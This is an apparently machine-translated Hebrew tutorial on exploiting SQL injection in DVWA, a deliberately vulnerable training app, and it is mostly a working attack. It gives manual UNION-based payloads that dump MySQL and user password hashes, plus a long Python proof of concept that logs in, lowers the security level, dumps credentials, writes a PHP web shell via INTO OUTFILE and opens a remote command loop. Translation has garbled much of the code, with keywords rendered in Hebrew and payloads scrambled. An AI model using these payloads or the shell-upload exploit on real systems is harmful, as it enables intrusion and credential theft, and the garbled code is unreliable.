יישום אינטרנט פגיע לעזאזל – SQL Injection
מחבר:
Ashfaq אנסארי

נסקר על ידי:
דרוג:
5
על אוקטובר 1, 2012
השתנה לאחרונה:ינואר 18, 2013

תקציר:

צעד אחר צעד וגישה אוטומטי לעשות התקפת הזרקת SQL ביישום אינטרנט פגיע לעזאזל.

מבוא

יישום אינטרנט פגיע לעזאזל (DVWA) הוא PHP / MySQL יישום אינטרנט שהוא ארור פגיע וניתן לנצל easily.Its מטרות עיקריות הן להיות סיוע למומחי אבטחה כדי לבדוק את היכולות והכלים שלהם בסביבה משפטית, לסייע למפתחי האינטרנט להבין טובים יותר את התהליכים של יישומי אבטחת אינטרנט ומורים / סטודנטים לסיוע כדי ללמד / ללמוד אבטחת יישומי אינטרנט בסביבת מעבדה.

אזהרה!

יישום אינטרנט פגיע לעזאזל ארור הוא פגיע! לא להעלות אותו לספקית של האירוח שלך public_html תיקייה או כל שרת אינטרנט עובד כמו שזה יהיה פרוץ. אני ממליץ הורדה והתקנה XAMPP על גבי מחשב מקומי בתוך הרשת המקומית שלך שמשמש אך ורק לבדיקה.
אנחנו לא לוקחים אחריות על הדרך שבה כל אחד משתמש יישום אינטרנט פגיע לעזאזל (DVWA). עשינו את המטרות של היישום ברור וזה לא אמור להיות בשימוש בזדון. אנחנו נתנו אזהרות ואמצעים שננקטו כדי למנוע ממשתמשים להתקין על DVWA לחיות שרתי אינטרנט. אם שרת האינטרנט שלך נפגעים באמצעות התקנה של DVWA זה לא האחריות שלנו היא באחריותו של האדם שנטענה והתקין אותו.

התקנה

באופן כללי אנחנו צריכים XAMPP שרת להתקנת יישום אינטרנט פגיע ארור אבל XAMPP שרת אינו אלא אוסף של אפש, SQL, פרל, PHP, OpenSSL ושל תוכנה בצד שרת אחרת אבל לחזור על עקבותיו 5 יש את כל תוכנות אלו מותקנות. זה אומר שאין צורך להתקין XAMPP על עקבותיו מכונה. כל מה שאתה צריך לעשות הוא לקבל Web App, פגיע לעזאזל ולשים אותו על בספריית השורש של לחזור על עקבותיו 5.

תסריט bash נפלא זמין שלמכן את כל התהליך. בזכות: טראביס פיליפס.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
הד ""
הד "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
הד "סקריפט מתקין יישום האינטרנט פגיע # # לעזאזל"
הד "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
הד "מקודד על ידי: טראביס פיליפס"
הד "אתר: http://theunl33t.blogspot.com\n"
הד "שונה על ידי: Ashfaq אנסארי\n"
הד "אתר: http://hacksys.vfreaks.com\n"

הד "[*] שינוי מדריך ל/ var / www ..."
תקליטור /היה/www > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] יצירת ספריית DVWA ..."
mkdir dvwa > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] שינוי לטמפ מדריך ..."
תקליטור /tmp
הד -ו - "Done!\n"

הד "[*] הורדת DVWA ..."
wget http://voxel.dl.sourceforge.net/פרויקט/dvwa/DVWA-1.0.7.zip
הד -ו - "Done!\n"

הד -n "[*] unzipping DVWA ..."
לפתוח DVWA-1.0.7.zip > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] מחיקת קובץ zip ..."
RM DVWA-1.0.7.zip > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] העתקת dvwa לשורש של מדריך אינטרנט ..."
CP -R dvwa/* /היה/www/dvwa > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] טמפ מדריך קרחת ..."
RM -R dvwa > /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] הפעלה מרחוק כוללים בתוך php.ini ..."
CP /וכו '/PHP5/apache2/php.ini /וכו '/PHP5/apache2/php.ini1
צמא -ו - של / allow_url_include = כבוי / allow_url_include = ב/ ' /וכו '/PHP5/apache2/php.ini1 > /וכו '/PHP5/apache2/php.ini
RM /וכו '/PHP5/apache2/php.ini1
הד -ו - "Done!\n"

הד -n "[*] מה שמאפשר הרשאות כתיבה ל/ var / www / dvwa / hackable / להעלות ..."
chmod 777 /היה/www/dvwa/hackable/קבצים/
הד -ו - "Done!\n"

הד -n "[*] החל שירות אינטרנט ..."
שירות apache2 התחלה &מגבר;> /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] החל MySQL ..."
שירות MySQL התחלה &מגבר;> /dev/אפס
הד -ו - "Done!\n"

הד -n "[*] עדכון של קובץ תצורה ..."
CP /היה/www/dvwa/config/config.inc.php /היה/www/dvwa/config/config.inc.php1
צמא -ו - של / '\'\''/'\'"Toor '\''/' /היה/www/dvwa/config/config.inc.php1 > /היה/www/dvwa/config/config.inc.php
RM /היה/www/dvwa/config/config.inc.php1
הד -ו - "Done!\n"

הד -n "[*] עדכון מסד נתונים ..."
wget --לאחר נתונים "Create_db = יצירה / איפוס מסד נתונים" http://127.0.0.1/dvwa/setup.php &מגבר;> /dev/אפס
MySQL -אתה שורש --סיסמא="Toor ' -ו - "Dvwa.users עדכון סט =" / משתמשים / hackable avatar / gordonb.jpg" שם משתמש = "gordonb";'
MySQL -אתה שורש --סיסמא="Toor ' -ו - "Dvwa.users עדכון סט =" / משתמשים / hackable avatar / smithy.jpg" שם משתמש = "נפחים";'
MySQL -אתה שורש --סיסמא="Toor ' -ו - "Dvwa.users עדכון סט =" / משתמשים / hackable avatar / admin.jpg" שם משתמש = "admin";'
MySQL -אתה שורש --סיסמא="Toor ' -ו - "Dvwa.users עדכון סט =" / משתמשים / hackable avatar / pablo.jpg" שם משתמש = "פאבלו";'
MySQL -אתה שורש --סיסמא="Toor ' -ו - "Dvwa.users העדכון להגדיר סמל אישי של =" / hackable/users/1337.jpg" שם משתמש = "1337";'
הד -ו - "Done!\n"

הד -ו - -n "[*] החל פיירפוקס כדי DVWA\nשם משתמש: מנהל\nסיסמא: סיסמא"
Firefox HTTP://127.0.0.1/dvwa/login.php &מגבר;> /dev/אפס &מגבר;
הד -ו - "\nעשה!\n"
הד -ו - "[\033[1;32מ '* 033[1;37מ '] DVWA ההתקנה הסתיימה!\n"

DVWA הותקן בהצלחה, בואו מעבר ל-SQL Injection. ישנן שלוש רמות הזרקת SQL ביישום האינטרנט הפגיעים לעזאזל (נמוך, בינוני וגבוה). בפוסט זה יסביר כיצד להביס את הרמה נמוכה.

קוד פגיע

1
2
3
4
5
6
$תעודת זהות=$_GET['איד'];

$getid="SELECT FIRST_NAME, LAST_NAME ממשתמשי WHERE user_id = '$תעודת זהות'";
$תוצאה=mysql_query($getid) או die('
<מראש>'
. mysql_error() . '</מראש>
'
);

הקוד הנ"ל הוא פגיע SQL Injection. כפי שאתה יכול לראות שאין בשימוש חיטוי, משתנה הוא פשוט מוכנס ישר לתוך השאילתה SQL.

בואו לאשר אם זה פגיע להזרקת SQL:

זיהוי משתמש: ‘

הדף חזר את הודעת השגיאה הבאה:

יש לך שגיאה בתחביר SQL שלך; לבדוק את המדריך המתאים לגרסת שרת MySQL שלך עבור תחביר הזכות להשתמש ליד ””’ בקו 1

זו מאשרת שזה פגיע להזרקת SQL, הדבר הראשון לעשות הוא לברר כמה עמודות יש:

זיהוי משתמש: ‘ ORDER BY 1#
זיהוי משתמש: ‘ ORDER BY 2#

אלה פשוט להחזיר אותו הדף.

זיהוי משתמש: ‘ ORDER BY 3#

אז זה נותן לנו הודעת שגיאה לא יסולא בפז:

עמודה לא ידועה '3’ ב'סעיף כדי’

לפיכך, יש שתי עמודות, שללא ספק הנן FIRST_NAME ועמודות LAST_NAME כאשר אתה עובר את זיהוי המשתמש: ליצור זיהוי משתמש חוקי (1) למשל אתה מקבל את זה:

תעודת זהות: 1
שם פרטים: מנהל
שם משפחה: מנהל

תקין, עכשיו הזמן שלה כדי לגלות את שם מסד הנתונים, שם טבלה, שם עמודה וכל דבר אחר שימושי ומעניין. הדבר ראשון קודם בואו לגלות את גרסת מסד הנתונים:

תעודת זהות: ‘ UNION ALL SELECT 1,@@# VERSION
שם פרטים: 1
שם משפחה: 5.1.41-3ubuntu12.10

אז זה הוא באמצעות MySQL 5.1.41-3 על אובונטו. בוא למצוא את ידידותיות למסד הנתונים פועל וכשמו של מסד הנתונים שאנו עוסקים בי:

תעודת זהות: ‘ משתמשים UNION ALL SELECT(),מסד הנתונים()#
שם פרטים: localhost @ שורש
שם משפחה: dvwa

מסד הנתונים של המשתמש הוא שורש ובסיס הנתונים שאנו עוסקים בו dvwa. מאז המשתמש הוא השורש בואו נזרוק את חשיש MySQL:

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: שורש
שם משפחה: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: שורש
שם משפחה: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: שורש
שם משפחה: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: debian-SYS-שימור
שם משפחה: *8C4C424D182238AFBA8B217F692D07C952EF4087

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: שורש
שם משפחה: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

תעודת זהות: ‘ משתמשים UNION ALL SELECT,סיסמה # mysql.user
שם פרטים: מנהל
שם משפחה: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

וואו! יש לנו את חשיש passord שורש. אנחנו יכולים להשתמש ג'ון המרטש לפצח את החשיש.

אנחנו יודעים את שם מסד הנתונים הוא dvwa. בואו לגלות את שם הטבלה:

תעודת זהות: ‘ table_schema UNION ALL SELECT,table_name מinformation_schema.tables איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: ספר אורחים

תעודת זהות: ‘ table_schema UNION ALL SELECT,table_name מinformation_schema.tables איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: משתמשים

יש שני שולחנות ב dvwa מסד הנתונים כפי ששם ספר אורחים ו - משתמשים

עכשיו, בואו למצוא טורים ב משתמשים שולחן.

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: comment_id

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: תגובה

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: שם

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: user_id

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: FIRST_NAME

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: LAST_NAME

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: משתמש

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: סיסמא

תעודת זהות: ‘ table_schema UNION ALL SELECT, COLUMN_NAME מinformation_schema.columns איפה table_schema LIKE '% dvwa%’ #
שם פרטים: dvwa
שם משפחה: avatar

מדהים, בואו נזרוק את שם המשתמש והסיסמה מ dvwa.users שולחן. הנה זה מתחילים.

תעודת זהות: ‘ משתמשים UNION ALL SELECT, הסיסמה dvwa.users #
שם פרטים: מנהל
שם משפחה: 5f4dcc3b5aa765d61d8327deb882cf99

תעודת זהות: ‘ משתמשים UNION ALL SELECT, הסיסמה dvwa.users #
שם פרטים: gordonb
שם משפחה: e99a18c428cb38d5f260853678922e03

תעודת זהות: ‘ משתמשים UNION ALL SELECT, הסיסמה dvwa.users #
שם פרטים: 1337
שם משפחה: 8d3533d75ae2c3966d7e0d4fcc69216b

תעודת זהות: ‘ משתמשים UNION ALL SELECT, הסיסמה dvwa.users #
שם פרטים: פבלו
שם משפחה: 0d107d09f5bbe40cade3de5c71e9e9b7

תעודת זהות: ‘ משתמשים UNION ALL SELECT, הסיסמה dvwa.users #
שם פרטים: נפחיה
שם משפחה: 5f4dcc3b5aa765d61d8327deb882cf99

עשתה את העבודה. יש לנו בהצלחה זרקו את תעודות המשתמש. אנחנו יכולים לפצח אותם באמצעות כל קרקר חשיש MD5.

HackSys צוות יצר PoC בפייתון שעזר ב הזרקת SQL אוטומטית על DVWA ונותנת מעטפת הפקודה שבו אנו יכולים להפעיל פקודות מעטפת רגילות.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    יישום אינטרנט פגיע לעזאזל - DVWA
#     הזרקת SQL לנצל לRCE - PoC
#   על ידי Ashfaq אנסארי (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (בע"מ)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ כוח על ידי צוות HackSys - Panthera
#________________________________________________
#
לייבא sys, שקע, urllib, מחדש, urllib2, getpass, חוט, זמן, אקראי, base64
מן optparse לייבא OptionParser
מן cookielib לייבא CookieJar

descLogo = """
________________________________________________

     יישום אינטרנט פגיע לעזאזל - DVWA
           הזרקת SQL לRCE - PoC
   על ידי Ashfaq אנסארי (hacksysteam@hotmail.com)

            (__)
            (בע"מ)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ כוח על ידי צוות HackSys - Panthera
________________________________________________

"""


#משתני צבע להיות בשימוש עם פקודת הדפסה
אדום= "\033[31מ '" # אדום
ירוק= "\033[32מ '" # ירוק
WHITE= "\033[0מ '" # לבן
ציאן = "\033[36מ '" #ציאן
סגול = "\033[35מ '" #סגול

#משתנים
urlStart = "פגיעויות / SQLi / index.php?id ="
urlEnd = "&שלח = שלח"
shellName = "Fd7cb4cb0031ba249"
סוכנים = ["Mozilla/4.0 (תואם; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "אופרה 9.25 (Windows Vista)",
    "Mozilla/4.0 (תואם; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; אתה; בתוך)"]
סוכן = אקראי.בחירה(סוכנים)


#סיכום שימוש בעזרה
שימוש = ציאן + ". /% פרוג [<אפשרויות>] -לא [היעד] -ד [מדריך]"
שימוש += "\nדוגמה: ./%פרוג localhost-P:8080 -לא 192.168.1.15:8080 -ד / dvwa /"

#אפשרויות מנתח
מנתח = OptionParser(שימוש=שימוש)
מנתח.add_option("-P", סוג="מחרוזת",פעולה="חנות", יעד ב="פרוקסי",
                  לעזור="HTTP פרוקסי <שרת:נמל>")
מנתח.add_option("-T", סוג="מחרוזת", פעולה="חנות", יעד ב="היעד",
                  לעזור="שרת היעד <שרת:נמל>")
מנתח.add_option("-D", סוג="מחרוזת", פעולה="חנות", יעד ב="DirPath",
                  לעזור="נתיב ספרייה ליישום האינטרנט פגיע לעזאזל")
(אפשרויות, ארגומנטים) = מנתח.parse_args()


#הקלדת טקסט - רק בשביל כיף
def typingText(הודעת טקסט, צבע):
 
  לנסות:
    עבור אני בתוך הודעת טקסט:
      להדפיס צבע + "%של"%אני,
      sys.stdout.לשטוף במים()
      זמן.לישון(0.020)
  אלא:
    לעבור
 

אם רק(sys.argv) < 5:
    typingText(descLogo, סגול)
    מנתח.print_help()
    sys.לצאת(1)
   

#מטפל פרוקסי
def getProxy():
 
    לנסות:
        proxy_handler = urllib2.הנדלר פרוקסי({'Http': אפשרויות.בא כוח})
    אלא(שקע.פסק זמן):
            להדפיס אדום + "\לאפרוקסי שהוקצב ...\n"
            sys.לצאת(1)
    לחזור proxy_handler


#חיבור פרוקסי מבחן
def testProxy():
 
    להדפיס(ציאן + "[+] בדיקת פרוקסי @% s ..." % (אפשרויות.בא כוח))
    פותחן = urllib2.build_opener(getProxy())
   
    לנסות:
      לבדוק = פותחן.לפתוח("Http://www.google.com").לקרוא את()
    אלא:
      לבדוק = 0
      לעבור
   
    אם לבדוק >= 1:
      להדפיס(ירוק + "\לאפרוקסי הוא מצא שזה עובד ...\n")
    אחר:
      להדפיס אדום + "\לאפרוקסי לא הצליח ... יציאה!\n"
      sys.לצאת(1)


#קבל תגובה מהשרת
def getServerResponse(CJ, targetURL, נתונים):
     
    אם אפשרויות.בא כוח:
      לנסות:
    פותחן = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(CJ))
    פותחן.addheaders = [("סוכן משתמש", סוכן)]
    לבדוק = פותחן.לפתוח(targetURL, נתונים).לקרוא את()
    לחזור לבדוק
      אלא:
    להדפיס (אדום + "\לאחיבור פרוקסי נכשל ביעד רחוק ...\n")
    sys.לצאת(1)
    אחר:
      לנסות:
    פותחן = urllib2.build_opener(urllib2.HTTPCookieProcessor(CJ))
    פותחן.addheaders = [("סוכן משתמש", סוכן)]
    לבדוק = פותחן.לפתוח(targetURL, נתונים).לקרוא את()
    לחזור לבדוק
      אלא:
    להדפיס (אדום + "\לאחיבור יעד נכשל, לבדוק את הכתובת שלך ...\n")
    sys.לצאת(1)


#נסה להתחבר לאפליקציות אינטרנט לעזאזל פגיעות
def doLogin():
 
    להדפיס(ציאן + "[+] מנסה להתחבר לDVWA ...")
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + "Login.php"
    ערכים = {"שם משתמש" : "מנהל", "סיסמא" : "סיסמא", 'כניסה' : 'כניסה'}
    נתונים = urllib.urlencode(ערכים)
    CJ = CookieJar()
   
    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
       
    אם לא מחדש.לחפש("כניסה נכשלה", respHTML):
      זמן.לישון(1)
      typingText("\לאאימות מוצלחת ...\n\n", ירוק)
      לחזור CJ
    אחר:
      זמן.לישון(1)
      typingText("\לאאימות הכחישה! יציאה ...\n\n\n", אדום)
      sys.לצאת(1)


#נסה tamperthe רמת אבטחה של אפליקציות אינטרנט פגיעות לעזאזל
def lowSecurity(adminCookie):
 
    להדפיס(ציאן + "[+] התעסקות בביטחון DVWA ...")
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + "Security.php"
    ערכים = {'ביטחון' : 'נמוך', "Seclev_submit ' : 'שלח'}
    נתונים = urllib.urlencode(ערכים)
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה
   
    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
   
    אם מחדש.לחפש("רמת האבטחה היא כיום <בתוך>נמוך</בתוך>", respHTML):
      זמן.לישון(1)
      typingText("\לאסט מוצלח רמת אבטחה לנמוך ...\n\n", ירוק)
    אחר:
      זמן.לישון(1)
      typingText("\לאאין אפשרות לחבל רמת אבטחה! יציאה ...\n\n", אדום)
      sys.לצאת(1)


#בדוק אם היעד הוא פגיע להזרקת SQL
def testSQLinjection(adminCookie):
 
    להדפיס(ציאן + "[+] בדיקה אם היעד הוא פגיע ...")
    injection_url = "1""
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + urlStart + injection_url + urlEnd
    נתונים = ""
   
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה

    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
   
    אם מחדש.לחפש("שגיאה בתחביר SQL שלך", respHTML):
      זמן.לישון(1)
      typingText("\לאw00t -- יעד שנמצא חשופות ...\n\n", ירוק)
    אחר:
      זמן.לישון(1)
      typingText("\לאo00w -- היעד הוא לא פגיע! יציאה ...\n\n", אדום)    
      sys.לצאת(1)


#מצא את פרטי MySQL
def findMySQLInfo(adminCookie):
 
    להדפיס(ציאן + "[+] באחזור מידע MySQL ...")
    injection_url = "Concat_ws 1 ' איחוד ALL SELECT (0x3b,0x4861636b537973205465616d,משתמש(),מסד הנתונים(),גרסה(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + urlStart + injection_url + urlEnd
    נתונים = ""
   
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה

    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
   
    # עכשיו לחלץ את המידע המעניין
    get_secret_data = חוט.למצוא(respHTML,  "צוות HackSys")
     
    # אם היעד הוא לא יציאה פגיעה
    אם get_secret_data == -1:
        typingText("\לאפעולה נכשלה. יציאה עכשיו ...\n\n", אדום)
        sys.לצאת(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = חוט.למצוא(new_html4,  "צוות HackSys")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # התקבל מידע, עכשיו לעצב ולהציג אותו
    formatted_output = str.פיצול(new_html_5,  ";")
    זמן.לישון(1)
    להדפיס ירוק + "\לאמסד נתונים MySQL: ",  formatted_output[2]
    להדפיס ירוק + "\לאMySQL גרסה : ",  formatted_output[3]
    להדפיס ירוק + "\לאמשתמש מסד נתונים MySQL : ",  formatted_output[1]
    להדפיס ""
    לחזור


#נסה מספר הרשומות בטבלת משתמשים
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = " UNION ALL SELECT 2C 1 '1% COUNT(*)+ממשתמשים % 3B% 23"
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + urlStart + injection_url + urlEnd
    נתונים = ""
   
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה

    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
   
    # עכשיו לחלץ את המידע המעניין
    get_secret_data = חוט.למצוא(respHTML,  "<br>שם משפחה:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = חוט.למצוא(new_html,  "</מראש>\r\n\r\n\לא</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # התקבל מידע, עכשיו לעצב ולהציג אותו
    formatted_output = str.פיצול(new_html_2,  ": ")
    לחזור formatted_output[2]
   

#נסה לזרוק את שם המשתמש וסיסמא משולחן משתמשים
def findUserPasswords(adminCookie, מדד):
 
    injection_url = "Concat_ws SELECT 2C 1% 1 ' איחוד ALL(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+לעומת עלייה של משתמשים LIMIT " + str(מדד) + "% 2C30% 3B% 23"
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + urlStart + injection_url + urlEnd
    נתונים = ""
   
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה

    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)
   
    # עכשיו לחלץ את המידע המעניין
    get_secret_data = חוט.למצוא(respHTML,  "צוות HackSys")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = חוט.למצוא(new_html,  "צוות HackSys")    
    new_html_2 = new_html[:new_get_secret_data]

    # התקבל מידע, עכשיו לעצב ולהציג אותו
    formatted_output = str.פיצול(new_html_2,  ";")
    זמן.לישון(1)
    להדפיס ירוק + "\לאזיהוי משתמש : ",  formatted_output[1]
    להדפיס ירוק + "\לאשם פרטיים: ",  formatted_output[2]
    להדפיס ירוק + "\לאשם משפחה : ",  formatted_output[3]
    להדפיס ירוק + "\לאשם משתמש: ",  formatted_output[4]
    להדפיס ירוק + "\לאHash סיסמא : ",  formatted_output[5]
    להדפיס ""


#נסה להעלות tinyShell להתקפה אינטראקטיבית
def uploadShellViaSQLi(adminCookie):
 
    להדפיס(ציאן + "[+] העלאת Shell באמצעות SQLi ...")
   
    #XAMPP על Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #לינוקס
    injection_url = "1% 27 UNION ALL SELECT% 27% 2C 27% % 27 % 3C% מערכת 3Fphp (base64_decode(%24_GET[%22cmd 5D%% 22% 29% 29% 3B % 3F% 3E% 27% 27% INTO outfile 2Fvar% 2F%% 2Fdvwa 2Fwww " + shellName + ".php% 27% 3B% 23"
   
    targetURL = "Http://" + אפשרויות.היעד + אפשרויות.dirPath + urlStart + injection_url + urlEnd
    נתונים = ""
   
    CJ = adminCookie #השתמש העוגייה חזרו מdoLogin() פונקציה

    #קבל תגובה מהשרת ולאחסן אותו במשתנה
    respHTML = getServerResponse(CJ, targetURL, נתונים)

    אם מחדש.לחפש("<h3>זיהוי משתמש:</h3>", respHTML):
      זמן.לישון(1)
      typingText("\לאw00t -- Shell הועלה בהצלחה ...\n\n", ירוק)
    elif מחדש.לחפש("כבר קיים</מראש>", respHTML):
      זמן.לישון(1)
      typingText("\לאw00t -- Shell כבר קיים ...\n\n", ירוק)  
    אחר:
      זמן.לישון(1)
      typingText("\לאo00w -- לא מצליח להעלות את הקליפה ...\n\n", אדום)
      sys.לצאת(1)


#התחל פגישת התקפה אינטראקטיבית
def interactiveAttack(adminCookie):
 
  להדפיס ציאן + "[+] כניסת מסוף מרוחק אינטראקטיבי (q להתפטר)\n" + WHITE + "\n  HackSys צוות - Panthera\n   מחבר: Ashfaq אנסארי\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  ח"נ = ירוק + "% S @% # של " % (getpass.getuser(), אפשרויות.היעד) + WHITE
  cmd = ""
  נתונים = ""
  CJ = adminCookie
  בעוד cmd != 'ש':
    לנסות:
      cmd = raw_input(ח"נ)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%S.php% s% s?cmd =% s" % (אפשרויות.היעד, אפשרויות.dirPath, shellName, cmd64))
      או = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = או.פיצול("Admin")
      להדפיס WHITE + shellOutput[2]
    אלא:
      לשבור
 
  # התאבדות
  rmShell = base64.b64encode("S.php% RM" % (shellName))
  targetURL = ("Http://%S.php% s% s?cmd =% s" % (אפשרויות.היעד, אפשרויות.dirPath, shellName, rmShell))
  או = getServerResponse(CJ, targetURL, rmShell)

     
#פונקציה העיקרית
def ראשי():
 
  #הדפס את הבאנר בסגנון הקלדת טקסט
  typingText(descLogo, סגול)
 
  #בדקו ולהתחבר לשרת פרוקסי אם צוין טיעון באמצעות-P
  אם אפשרויות.בא כוח:
    testProxy()

  #תפוס את עוגיית מנהל
  adminCookie = doLogin()
 
  #לחבל את רמת האבטחה
  lowSecurity(adminCookie)
 
  #פגיעות הזרקת SQL מבחן
  testSQLinjection(adminCookie)
 
  #לזרוק פרטי MySQL
  findMySQLInfo(adminCookie)
 
  #מצא את מספר הרשומות בטבלת משתמשים
  totalRecords = int(findNoOfRecordsInTable(adminCookie))
 
  להדפיס(ציאן + "[+] אחזור שם משתמש וסיסמות ...")
 
  עבור מדד בתוך רכס(1,totalRecords 1):
    #לזרוק סיסמאות לשימוש
    findUserPasswords(adminCookie, מדד)
 
  #העלה tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #התחל התקפה אינטראקטיבית
  interactiveAttack(adminCookie)
 
אם __name__ == "__main__":
    ראשי()

